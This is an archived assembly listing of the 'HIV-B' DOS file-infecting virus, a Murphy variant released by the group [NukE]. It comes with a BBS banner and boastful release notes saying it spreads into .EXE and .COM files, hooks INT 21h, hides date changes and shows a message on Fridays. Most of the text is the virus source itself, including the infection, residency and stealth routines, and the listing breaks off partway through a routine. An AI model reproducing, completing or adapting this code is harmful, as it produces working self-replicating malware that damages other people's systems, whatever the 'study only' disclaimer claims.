home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HIV.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  38KB  |  844 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. ──────────────────────> HIV Virus Source :
  25.  
  26.                             HIV - VIRUS
  27.       Created: March 1991
  28.       Scan ID: [Murphy]
  29.       Origin: Italy ,"Italain Virus Laboratory!"
  30.       Sources: Produced by Rock Steady [NukE]
  31.  
  32.  [NukE] Notes: Okay, another VIRUS SOURCE Release from [NukE]! Yup,
  33.  ~~~~~~~~~~~~~ Anywayz, this Virus cums from the Murphy Virus! So
  34.  if you Scan it with SCAN McAfee & Ass. you will see that it will be
  35.  detected as the [Murphy] Virus! I got this Virus from Italy from the
  36.  "Italian Virus Laboratory!" Mind you this Virus Source is being
  37.  released to the public because it's an OLD Virus and is detectable!
  38.  and doesn't do any damage to the system! This virus was edited by
  39.  me, I removed some bugs inside and produced this SOURCE CODE ONLY!
  40.  [NOTE] Of course, this virus is ONLY for STUDYING, to learn on how
  41.  virus are made! After the viruses are old its NICE to release them so
  42.  people can study em!
  43.  
  44.                       HOW THE HIV - VIRUS WORKS
  45.  
  46.  First, I'd like to thanx all those that thanked me for my latest
  47.  Virus! (ParaSite Virus)! And I'm glad to say I'll be releasing the
  48.  Source Codes to this virus in 6 MONTHS! Hopefully, by that time it
  49.  will be Detected by SCAN (McAfee & Ass) and yall will get a chance
  50.  to study this Assome Virus made totally from me...
  51.  
  52.  HIV -: This virus Spreads thru coping itself to .EXE and .COM Files!
  53.  ~~~~~~ You will notice the file gets larger by 1614 Bytes! The Virus
  54.  Hooks itself to Interrup 21h and totally system memory will be 1632
  55.  Bytes Less. Once the file is resident in Memory it will attach itself
  56.  to every file that is runned or opened! The date of the original file
  57.  Doesn't not change! All this virus does is Copy itself over and over
  58.  again! CleanUp V77+ will get rid of it...or Simple delete all files
  59.  Infected with the virus...Anywayz Enjoy...
  60.  
  61.  NOTE: If you want to compile the source, simply look for it in the .TXT files
  62.  contained in DATA.EXE in this newsletter package.
  63.  
  64. DATA_1E          EQU     4CH           ; Just a Few Data Segments that are
  65. DATA_3E          EQU     84H           ; Needed for the virus to find some
  66. DATA_5E          EQU     90H           ; hard core info...
  67. DATA_7E          EQU     102H
  68. DATA_8E          EQU     106H
  69. DATA_9E          EQU     122H
  70. DATA_10E         EQU     124H
  71. DATA_11E         EQU     15AH
  72. DATA_12E         EQU     450H
  73. DATA_13E         EQU     462H
  74. DATA_14E         EQU     47BH
  75. DATA_15E         EQU     0
  76. DATA_16E         EQU     1
  77. DATA_17E         EQU     2
  78. DATA_18E         EQU     6
  79. DATA_42E         EQU     0FB2CH
  80. DATA_43E         EQU     0FB2EH
  81. DATA_44E         EQU     0FB4BH
  82. DATA_45E         EQU     0FB4DH
  83. DATA_46E         EQU     0FB83H
  84. DATA_47E         EQU     0FB8DH
  85. DATA_48E         EQU     0FB8FH
  86. DATA_49E         EQU     0FB95H
  87. DATA_50E         EQU     0FB97H
  88. DATA_51E         EQU     0
  89. DATA_52E         EQU     2
  90.  
  91. SEG_A            SEGMENT BYTE PUBLIC
  92.                  ASSUME  CS:SEG_A, DS:SEG_A
  93.  
  94.  
  95.                  ORG     100h                  ; Compile this to a .COM file!
  96.                                               ; So the Virus starts at 0100h
  97. HIV              PROC    FAR
  98.  
  99. START:
  100.                  JMP     LOC_35
  101.                  DB      0C3H
  102.                  DB      23 DUP (0C3H)
  103.                  DB      61H, 6EH, 74H, 69H, 64H, 65H
  104.                  DB      62H, 0C3H, 0C3H, 0C3H, 0C3H
  105.                  DB      'HIV-B Virus - Release 1.1 [NukE]'
  106.                  DB      ' '
  107. copyright        DB      '(C) Edited by Rock Steady [NukE]'
  108.                  DB      0, 0
  109. DATA_24          DW      0
  110. DATA_25          DW      0
  111. DATA_26          DW      0
  112. DATA_27          DW      706AH
  113. DATA_28          DD      00000H
  114. DATA_29          DW      0
  115. DATA_30          DW      706AH
  116. DATA_31          DD      00000H
  117. DATA_32          DW      0
  118. DATA_33          DW      706AH
  119. DATA_34          DB      'HIV-B VIRUS - Release 1.1 [NukE]', 0AH, 0DH
  120.                  DB      'Edited by Rock Steady [NukE]', 0AH, 0DH
  121.                  DB      '(C) 1991 Italian Virus Laboratory', 0AH, 0DH
  122.                  DB      '$'
  123.                  DB      0E8H, 83H, 3, 3DH, 4DH, 4BH
  124.                  DB      75H, 9, 55H, 8BH, 0ECH, 83H
  125.                  DB      66H, 6, 0FEH, 5DH, 0CFH, 80H
  126.                  DB      0FCH, 4BH, 74H, 12H, 3DH, 0
  127.                  DB      3DH, 74H, 0DH, 3DH, 0, 6CH
  128.                  DB      75H, 5, 80H, 0FBH, 0, 74H
  129.                  DB      3
  130. LOC_1:
  131.                  JMP     LOC_13
  132. LOC_2:
  133.                  PUSH    ES               ; Save All Regesters so that when
  134.                  PUSH    DS               ; we restore the program it will
  135.                  PUSH    DI               ; RUN correctly and hide the fact
  136.                  PUSH    SI               ; that any Virii is tampering with
  137.                  PUSH    BP               ; the System....
  138.                  PUSH    DX
  139.                  PUSH    CX
  140.                  PUSH    BX
  141.                  PUSH    AX
  142.                  CALL    SUB_6
  143.                  CALL    SUB_7
  144.                  CMP     AX,6C00H
  145.                  JNE     LOC_3                   ; Jump if not equal
  146.                  MOV     DX,SI
  147. LOC_3:
  148.                  MOV     CX,80H
  149.                  MOV     SI,DX
  150.  
  151. LOCLOOP_4:
  152.                  INC     SI                      ; Slowly down the System a
  153.                  MOV     AL,[SI]                 ; little.
  154.                  OR      AL,AL                   ; Zero ?
  155.                  LOOPNZ  LOCLOOP_4               ; Loop if zf=0, cx>0
  156.  
  157.                  SUB     SI,2
  158.                  CMP     WORD PTR [SI],4D4FH
  159.                  JE      LOC_7                   ; Jump if equal
  160.                  CMP     WORD PTR [SI],4558H
  161.                  JE      LOC_6                   ; Jump if equal
  162. LOC_5:
  163.                  JMP     SHORT LOC_12            ;
  164.                  DB      90H
  165. LOC_6:
  166.                  CMP     WORD PTR [SI-2],452EH
  167.                  JE      LOC_8                   ; Jump if equal
  168.                  JMP     SHORT LOC_5             ;
  169. LOC_7:
  170.                  NOP
  171.                  CMP     WORD PTR [SI-2],432EH
  172.                  JNE     LOC_5                   ; Jump if not equal
  173. LOC_8:
  174.                  MOV     AX,3D02H
  175.                  CALL    SUB_5
  176.                  JC      LOC_12                  ; Jump if carry Set
  177.                  MOV     BX,AX
  178.                  MOV     AX,5700H
  179.                  CALL    SUB_5                   ; Initsilize the virus...
  180.                  MOV     CS:DATA_24,CX           ; A Basic Start up to check
  181.                  MOV     CS:DATA_25,DX           ; The Interrup 21h
  182.                  MOV     AX,4200H
  183.                  XOR     CX,CX
  184.                  XOR     DX,DX
  185.                  CALL    SUB_5
  186.                  PUSH    CS
  187.                  POP     DS
  188.                  MOV     DX,103H
  189.                  MOV     SI,DX
  190.                  MOV     CX,18H
  191.                  MOV     AH,3FH
  192.                  CALL    SUB_5
  193.                  JC      LOC_10                  ; Jump if carry Set
  194.                  CMP     WORD PTR [SI],5A4DH
  195.                  JNE     LOC_9                   ; Jump if not equal
  196.                  CALL    SUB_1
  197.                  JMP     SHORT LOC_10
  198. LOC_9:
  199.                  CALL    SUB_4
  200. LOC_10:
  201.                  JC      LOC_11                  ; Jump if carry Set
  202.                  MOV     AX,5701H
  203.                  MOV     CX,CS:DATA_24
  204.                  MOV     DX,CS:DATA_25
  205.                 CALL     SUB_5
  206. LOC_11:
  207.                  MOV     AH,3EH                  ; '>'
  208.                  CALL    SUB_5
  209. LOC_12:
  210.                  CALL    SUB_7
  211.                  POP     AX                      ; A Stealth Procedure to
  212.                  POP     BX                      ; end the virus and restore
  213.                  POP     CX                      ; the program! Pup back all
  214.                  POP     DX                      ; regesters as we found them!
  215.                  POP     BP                      ; so nothings changed...
  216.                  POP     SI
  217.                  POP     DI
  218.                  POP     DS
  219.                  POP     ES
  220. LOC_13:
  221.                  JMP     CS:DATA_28
  222.                  DB      0B4H, 2AH, 0CDH, 21H, 0C3H
  223.  
  224. HIV              ENDP
  225.  
  226. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  227. ;*-                             SUBROUTINE                                *-
  228. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  229.  
  230. SUB_1            PROC    NEAR                    ; Start of the Virus!
  231.                  MOV     AH,2AH                  ; Get the Date system Date!
  232.                  INT     21H                     ; If its Friday Display the
  233.                                                  ; message at Data34 and End!
  234.                 CMP      AL,6
  235.                  JE      LOC_15                  ; If Friday display message
  236.                  JNZ     LOC_14                  ; If not continue infecting
  237. LOC_14:                                         ; and screwing the system!
  238.                  MOV     CX,[SI+16H]
  239.                  ADD     CX,[SI+8]
  240.                  MOV     AX,10H
  241.                  MUL     CX                      ; dx:ax = reg * ax
  242.                  ADD     AX,[SI+14H]
  243.                  ADC     DX,0
  244.                  PUSH    DX
  245.                  PUSH    AX
  246.                  MOV     AX,4202H
  247.                  XOR     CX,CX                   ; Zero register
  248.                  XOR     DX,DX                   ; Zero register
  249.                  CALL    SUB_5
  250.                  CMP     DX,0
  251.                  JNE     LOC_16                  ; Jump if not equal
  252.                  CMP     AX,64EH
  253.                  JAE     LOC_16                  ; Jump if above or =
  254.                  POP     AX
  255.                  POP     DX
  256.                  STC                             ; Set carry flag
  257.                  RETN
  258. LOC_15:
  259.                  MOV     DX,OFFSET DATA_34+18H   ; Display Message at Data34!
  260.                  MOV     AH,9                    ; With New Offset Address in
  261.                  INT     21H                     ; memory!
  262.                                                  ;
  263.                  POP     AX                      ; Restore all Regesters as if
  264.                  POP     BX                      ; nothing was changed and exit
  265.                  POP     CX                      ; virus and run File...
  266.                  POP     DX
  267.                  POP     SI
  268.                  POP     DI
  269.                  POP     BP
  270.                  POP     DS
  271.                  POP     ES
  272.                  MOV     AH,0                    ; Exit Virus if your in a .EXE
  273.                  INT     21H                     ; File!!!
  274.                                                  ; Exit virus if your in a .COM
  275.                  INT     20H                     ; File!!!
  276. LOC_16:
  277.                  MOV     DI,AX
  278.                  MOV     BP,DX
  279.                  POP     CX
  280.                  SUB     AX,CX
  281.                  POP     CX
  282.                  SBB     DX,CX
  283.                  CMP     WORD PTR [SI+0CH],0
  284.                  JE      LOC_RET_19              ; Jump if equal
  285.                  CMP     DX,0
  286.                  JNE     LOC_17                  ; Jump if not equal
  287.                  CMP     AX,64EH
  288.                  JNE     LOC_17                  ; Jump if not equal
  289.                  STC                             ; Set carry flag
  290.                  RETN
  291. LOC_17:
  292.                  MOV     DX,BP
  293.                  MOV     AX,DI
  294.                  PUSH    DX
  295.                  PUSH    AX
  296.                  ADD     AX,64EH
  297.                  ADC     DX,0
  298.                  MOV     CX,200H
  299.                  DIV     CX                      ; Find out How much System
  300.                  LES     DI,DWORD PTR [SI+2]     ; memory is available...
  301.                  MOV     CS:DATA_26,DI           ;
  302.                  MOV     CS:DATA_27,ES           ; Every so often make the
  303.                  MOV     [SI+2],DX               ; system memory small than
  304.                  CMP     DX,0                    ; what it already is...
  305.                  JE      LOC_18                  ; Screws up the users hehe
  306.                  INC     AX
  307. LOC_18:
  308.                  MOV     [SI+4],AX
  309.                  POP     AX
  310.                  POP     DX
  311.                  CALL    SUB_2
  312.                  SUB     AX,[SI+8]
  313.                  LES     DI,DWORD PTR [SI+14H]
  314.                  MOV     DS:DATA_9E,DI
  315.                  MOV     DS:DATA_10E,ES
  316.                  MOV     [SI+14H],DX             ; Tie up some memory!
  317.                  MOV     [SI+16H],AX             ; release it on next execution
  318.                  MOV     DS:DATA_11E,AX          ; Jump to su routine to do
  319.                  MOV     AX,4202H                ; this and disable interrups
  320.                  XOR     CX,CX
  321.                  XOR     DX,DX
  322.                  CALL    SUB_5
  323.                  CALL    SUB_3
  324.                  JC      LOC_RET_19
  325.                  MOV     AX,4200H
  326.                  XOR     CX,CX                   ; Zero register
  327.                  XOR     DX,DX                   ; Zero register
  328.                  CALL    SUB_5
  329.                  MOV     AH,40H
  330.                  MOV     DX,SI
  331.                  MOV     CX,18H
  332.                  CALL    SUB_5
  333. LOC_RET_19:
  334.                  RETN
  335. SUB_1            ENDP
  336.  
  337.  
  338. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  339. ;*-                            SUBROUTINE                                *-
  340. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  341.  
  342. SUB_2            PROC    NEAR
  343.                  MOV     CX,4
  344.                  MOV     DI,AX
  345.                  AND     DI,0FH
  346.  
  347. LOCLOOP_20:
  348.                  SHR     DX,1                    ; Shift w/zeros fill
  349.                  RCR     AX,1                    ; Rotate thru carry
  350.                  LOOP    LOCLOOP_20              ; Loop if cx > 0
  351.  
  352.                  MOV     DX,DI
  353.                  RETN
  354. SUB_2            ENDP
  355.  
  356.  
  357. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  358. ;*-                             SUBROUTINE                                *-
  359. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  360.  
  361. SUB_3            PROC    NEAR
  362.                  MOV     AH,40H
  363.                  MOV     CX,64EH
  364.                  MOV     DX,100H
  365.                  CALL    SUB_6
  366.                  JMP     SHORT LOC_24
  367.                  DB      90H
  368.  
  369. ;*-*- External Entry into Subroutine -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  370.  
  371. SUB_4:
  372.                  MOV     AX,4202H
  373.                  XOR     CX,CX                   ; Zero register
  374.                  XOR     DX,DX                   ; Zero register
  375.                  CALL    SUB_5
  376.                  CMP     AX,64EH
  377.                  JB      LOC_RET_23              ; Jump if below
  378.                  CMP     AX,0FA00H
  379.                  JAE     LOC_RET_23              ; Jump if above or =
  380.                  PUSH    AX
  381.                  CMP     BYTE PTR [SI],0E9H
  382.                  JNE     LOC_21                  ; Jump if not equal
  383.                  SUB     AX,651H
  384.                  CMP     AX,[SI+1]
  385.                  JNE     LOC_21                  ; Jump if not equal
  386.                  POP     AX
  387.                  STC                             ; Set carry flag
  388.                  RETN
  389. LOC_21:
  390.                  CALL    SUB_3
  391.                  JNC     LOC_22                  ; Jump if carry=0
  392.                  POP     AX
  393.                  RETN
  394. LOC_22:
  395.                  MOV     AX,4200H
  396.                  XOR     CX,CX                   ; Zero register
  397.                  XOR     DX,DX                   ; Zero register
  398.                  CALL    SUB_5
  399.                  POP     AX
  400.                  SUB     AX,3
  401.                  MOV     DX,122H
  402.                  MOV     SI,DX
  403.                  MOV     BYTE PTR CS:[SI],0E9H
  404.                  MOV     CS:[SI+1],AX
  405.                  MOV     AH,40H
  406.                  MOV     CX,3
  407.                  CALL    SUB_5
  408.  
  409. LOC_RET_23:
  410.                  RETN
  411. SUB_3            ENDP
  412.  
  413.  
  414. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  415. ;*-                             SUBROUTINE                                *-
  416. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  417.  
  418. SUB_5            PROC    NEAR
  419. LOC_24:
  420.                  PUSHF                           ; Push flags
  421.                  CALL    CS:DATA_28
  422.                  RETN
  423. SUB_5            ENDP
  424.  
  425.  
  426. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  427. ;*-                             SUBROUTINE                                *-
  428. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  429.  
  430. SUB_6            PROC    NEAR
  431.                  PUSH    AX
  432.                  PUSH    DS
  433.                  PUSH    ES
  434.                  XOR     AX,AX                   ; Zero register
  435.                  PUSH    AX
  436.                  POP     DS
  437.                  CLI                             ; Disable the interrupts
  438.                  LES     AX,DWORD PTR DS:DATA_5E ; This Copies the Virus
  439.                  MOV     CS:DATA_29,AX           ; to the COM File...
  440.                  MOV     CS:DATA_30,ES
  441.                  MOV     AX,46AH
  442.                 MOV      DS:DATA_5E,AX
  443.                  MOV     WORD PTR DS:DATA_5E+2,CS
  444.                  LES     AX,DWORD PTR DS:DATA_1E ; Loads 32Bit word..
  445.                  MOV     CS:DATA_32,AX           ; get your info needed on
  446.                 MOV      CS:DATA_33,ES           ; System...
  447.                  LES     AX,CS:DATA_31
  448.                  MOV     DS:DATA_1E,AX
  449.                  MOV     WORD PTR DS:DATA_1E+2,ES
  450.                  STI                             ; Enable the interrupts
  451.                  POP     ES                      ; and restore regesters!
  452.                  POP     DS                      ; go back to the file
  453.                  POP     AX                      ; being executed...
  454.                  RETN
  455. SUB_6            ENDP
  456.  
  457.  
  458. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  459. ;*-                             SUBROUTINE                                *-
  460. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  461.  
  462. SUB_7            PROC    NEAR
  463.                  PUSH    AX
  464.                  PUSH    DS
  465.                  PUSH    ES
  466.                  XOR     AX,AX                   ; Zero register
  467.                  PUSH    AX
  468.                  POP     DS
  469.                  CLI                             ; Disable interrupts
  470.                  LES     AX,DWORD PTR CS:DATA_29 ; same as Sub_6 just copy
  471.                  MOV     DS:DATA_5E,AX           ; yourself to the EXE
  472.                  MOV     WORD PTR DS:DATA_5E+2,ES
  473.                  LES     AX,DWORD PTR CS:DATA_32
  474.                  MOV     DS:DATA_1E,AX
  475.                  MOV     WORD PTR DS:DATA_1E+2,ES
  476.                  STI                             ; Enable interrupts
  477.                  POP     ES
  478.                  POP     DS
  479.                  POP     AX
  480.                  RETN
  481. SUB_7            ENDP
  482.  
  483.                  DB      0B0H, 3, 0CFH, 50H, 53H, 51H
  484.                  DB      52H, 56H, 57H, 55H, 1EH, 6
  485.                  DB      33H, 0C0H, 50H, 1FH, 8AH, 3EH
  486.                  DB      62H, 4, 0A1H, 50H, 4, 2EH
  487.                  DB      0A3H, 0CEH, 4, 2EH, 0A1H, 0C7H
  488.                  DB      4, 0A3H, 50H, 4, 2EH, 0A1H
  489.                  DB      0C5H, 4, 8AH, 0DCH, 0B4H, 9
  490.                  DB      0B9H, 1, 0, 0CDH, 10H, 0E8H
  491.                  DB      34H, 0, 0E8H, 0B7H, 0, 2EH
  492.                  DB      0A1H, 0C7H, 4, 0A3H, 50H, 4
  493.                  DB      0B3H, 2, 0B8H, 2, 9, 0B9H
  494.                  DB      1, 0, 0CDH, 10H, 2EH, 0A1H
  495.                  DB      0CEH, 4, 0A3H, 50H, 4, 7
  496.                  DB      1FH
  497.                  DB      ']_^ZY[X.'
  498.                  DB      0FFH, 2EH, 0CAH, 4
  499. DATA_36          DW      0
  500. DATA_37          DW      1010H
  501. DATA_39          DB      0
  502. DATA_40          DD      706A0000H
  503.                  DB      0, 0, 2EH, 0A1H, 0C7H, 4
  504.                  DB      8BH, 1EH, 4AH, 4, 4BH, 2EH
  505.                  DB      0F6H, 6, 0C9H, 4, 1, 74H
  506.                  DB      0CH, 3AH, 0C3H, 72H, 12H, 2EH
  507.                  DB      80H, 36H, 0C9H, 4, 1, 0EBH
  508.                  DB      0AH
  509. LOC_25:
  510.                  CMP     AL,0
  511.                  JG      LOC_26                  ; Jump if >
  512.                  XOR     CS:DATA_39,1
  513. LOC_26:
  514.                  TEST    CS:DATA_39,2
  515.                  JZ      LOC_27                  ; Jump if zero
  516.                  CMP     AH,18H
  517.                  JB      LOC_28                  ; Jump if below
  518.                  XOR     CS:DATA_39,2
  519.                  JMP     SHORT LOC_28
  520. LOC_27:
  521.                  CMP     AH,0
  522.                  JG      LOC_28                  ; Jump if >
  523.                  XOR     CS:DATA_39,2
  524. LOC_28:
  525.                  CMP     BYTE PTR CS:DATA_36,20H
  526.                  JE      LOC_29                  ; Jump if equal
  527.                  CMP     BYTE PTR CS:DATA_37+1,0
  528.                  JE      LOC_29                  ; Jump if equal
  529.                  XOR     CS:DATA_39,2
  530. LOC_29:
  531.                  TEST    CS:DATA_39,1
  532.                  JZ      LOC_30                  ; Jump if zero
  533.                  INC     BYTE PTR CS:DATA_37
  534.                  JMP     SHORT LOC_31
  535. LOC_30:
  536.                  DEC     BYTE PTR CS:DATA_37     ; (706A:04C7=10H)
  537. LOC_31:
  538.                  TEST    CS:DATA_39,2            ; (706A:04C9=0)
  539.                  JZ      LOC_32                  ; Jump if zero
  540.                  INC     BYTE PTR CS:DATA_37+1   ; (706A:04C8=10H)
  541.                  JMP     SHORT LOC_RET_33        ; (0555)
  542. LOC_32:
  543.                  DEC     BYTE PTR CS:DATA_37+1   ; (706A:04C8=10H)
  544.  
  545. LOC_RET_33:
  546.                  RETN
  547.  
  548. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  549. ;*-                             SUBROUTINE                                *-
  550. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  551.  
  552. SUB_8            PROC    NEAR
  553.                  MOV     AX,CS:DATA_37
  554.                  MOV     DS:DATA_12E,AX         ; Get info on type of Video
  555.                  MOV     BH,DS:DATA_13E         ; Display the system has...
  556.                 MOV      AH,8
  557.                  INT     10H                    ; with ah=functn 08h
  558.                                                ; basically fuck the cursur..
  559.                  MOV     CS:DATA_36,AX
  560.                  RETN
  561. SUB_8            ENDP
  562.  
  563.                  DB      50H, 53H, 51H, 52H, 56H, 57H
  564.                  DB      55H, 1EH, 6, 33H, 0C0H, 50H
  565.                  DB      1FH, 81H, 3EH, 70H, 0, 6DH
  566.                  DB      4, 74H, 35H, 0A1H, 6CH, 4
  567.                  DB      8BH, 16H, 6EH, 4, 0B9H, 0FFH
  568.                  DB      0FFH, 0F7H, 0F1H, 3DH, 10H, 0
  569.                  DB      75H, 24H, 0FAH, 8BH, 2EH, 50H
  570.                  DB      4, 0E8H, 0BEH, 0FFH, 89H, 2EH
  571.                  DB      50H, 4, 0C4H, 6, 70H, 0
  572.                  DB      2EH, 0A3H, 0CAH, 4, 2EH, 8CH
  573.                  DB      6, 0CCH, 4, 0C7H, 6, 70H
  574.                  DB      0, 6DH, 4, 8CH, 0EH, 72H
  575.                  DB      0, 0FBH
  576. LOC_34:
  577.                  POP     ES
  578.                  POP     DS                  ; Restore and get lost...
  579.                  POP     BP
  580.                  POP     DI
  581.                  POP     SI
  582.                  POP     DX
  583.                  POP     CX
  584.                  POP     BX
  585.                  POP     AX
  586.                  RETN
  587.  
  588. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  589. ;*-                             SUBROUTINE                                *-
  590. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  591. SUB_9            PROC    NEAR
  592.                  MOV     DX,10H
  593.                  MUL     DX                      ; dx:ax = reg * ax
  594.                  RETN
  595. SUB_9            ENDP
  596.  
  597.  
  598. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  599. ;*-                             SUBROUTINE                                *-
  600. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  601.  
  602. SUB_10           PROC    NEAR
  603.                  XOR     AX,AX                   ; If if wants to dissamble
  604.                  XOR     BX,BX                   ; us give him a HARD time...
  605.                  XOR     CX,CX                   ; By making all into 0
  606.                  XOR     DX,DX                   ; Zero register
  607.                 XOR      SI,SI                   ; Zero register
  608.                  XOR     DI,DI                   ; Zero register
  609.                  XOR     BP,BP                   ; Zero register
  610.                  RETN
  611. SUB_10           ENDP
  612.  
  613. LOC_35:
  614.                  PUSH    DS
  615.                  CALL    SUB_11
  616.  
  617. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  618. ;*-                             SUBROUTINE                                *-
  619. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  620.  
  621. SUB_11           PROC    NEAR
  622.                  MOV     AX,4B4DH
  623.                  INT     21H                     ; Load and EXEC file...
  624.                                                  ; be runned...
  625.                  NOP
  626.                  JC      LOC_36                  ; Jump if carry Set
  627.                  JMP     LOC_46
  628. LOC_36:
  629.                  POP     SI
  630.                  PUSH    SI
  631.                  MOV     DI,SI
  632.                  XOR     AX,AX                   ; Zero register
  633.                  PUSH    AX
  634.                  POP     DS
  635.                  LES     AX,DWORD PTR DS:DATA_1E ; Load 32 bit ptr
  636.                  MOV     CS:DATA_49E[SI],AX      ; Move lots of data
  637.                  MOV     CS:DATA_50E[SI],ES      ; into CS to infect the file
  638.                  LES     BX,DWORD PTR DS:DATA_3E ; if not infected and shit..
  639.                  MOV     CS:DATA_47E[DI],BX
  640.                  MOV     CS:DATA_48E[DI],ES
  641.                  MOV     AX,DS:DATA_7E
  642.                  CMP     AX,0F000H
  643.                  JNE     LOC_44                  ; Jump if not equal
  644.                  MOV     DL,80H
  645.                  MOV     AX,DS:DATA_8E
  646.                  CMP     AX,0F000H
  647.                  JE      LOC_37                  ; Jump if equal
  648.                  CMP     AH,0C8H
  649.                  JB      LOC_44                  ; Jump if below
  650.                  CMP     AH,0F4H
  651.                  JAE     LOC_44                  ; Jump if above or =
  652.                  TEST    AL,7FH
  653.                  JNZ     LOC_44                  ; Jump if not zero
  654.                  MOV     DS,AX
  655.                  CMP     WORD PTR DS:DATA_51E,0AA55H
  656.                  JNE     LOC_44                  ; Jump if not equal
  657.                  MOV     DL,DS:DATA_52E
  658. LOC_37:
  659.                  MOV     DS,AX
  660.                  XOR     DH,DH                   ; Zero register
  661.                  MOV     CL,9
  662.                  SHL     DX,CL                   ; Shift w/zeros fill
  663.                  MOV     CX,DX
  664.                  XOR     SI,SI                   ; Zero register
  665.  
  666. LOCLOOP_38:
  667.                  LODSW                           ; String [si] to ax
  668.                  CMP     AX,0FA80H
  669.                  JNE     LOC_39                  ; Jump if not equal
  670.                  LODSW                           ; String [si] to ax
  671.                  CMP     AX,7380H
  672.                  JE      LOC_40                  ; Jump if equal
  673.                  JNZ     LOC_41                  ; Jump if not zero
  674. LOC_39:
  675.                  CMP     AX,0C2F6H
  676.                  JNE     LOC_42                  ; Jump if not equal
  677.                  LODSW                           ; String [si] to ax
  678.                  CMP     AX,7580H
  679.                  JNE     LOC_41                  ; Jump if not equal
  680. LOC_40:
  681.                  INC     SI
  682.                  LODSW                           ; String [si] to ax
  683.                  CMP     AX,40CDH
  684.                  JE      LOC_43                  ; Jump if equal
  685.                  SUB     SI,3
  686. LOC_41:
  687.                  DEC     SI
  688.                  DEC     SI
  689. LOC_42:
  690.                  DEC     SI
  691.                  LOOP    LOCLOOP_38              ; Loop if cx > 0
  692.  
  693.                  JMP     SHORT LOC_44
  694. LOC_43:
  695.                  SUB     SI,7
  696.                  MOV     CS:DATA_49E[DI],SI
  697.                  MOV     CS:DATA_50E[DI],DS
  698. LOC_44:
  699.                  MOV     AH,62H
  700.                  INT     21H                     ; Simple...Get the PSP
  701.                                                  ; Address (Program segment
  702.                 MOV      ES,BX                   ; address and but in BX)
  703.                  MOV     AH,49H
  704.                  INT     21H                     ; Get the Free memory from
  705.                                                  ; the system
  706.                  MOV     BX,0FFFFH               ; release extra memory blocks
  707.                  MOV     AH,48H
  708.                  INT     21H                     ; Allocate the memory
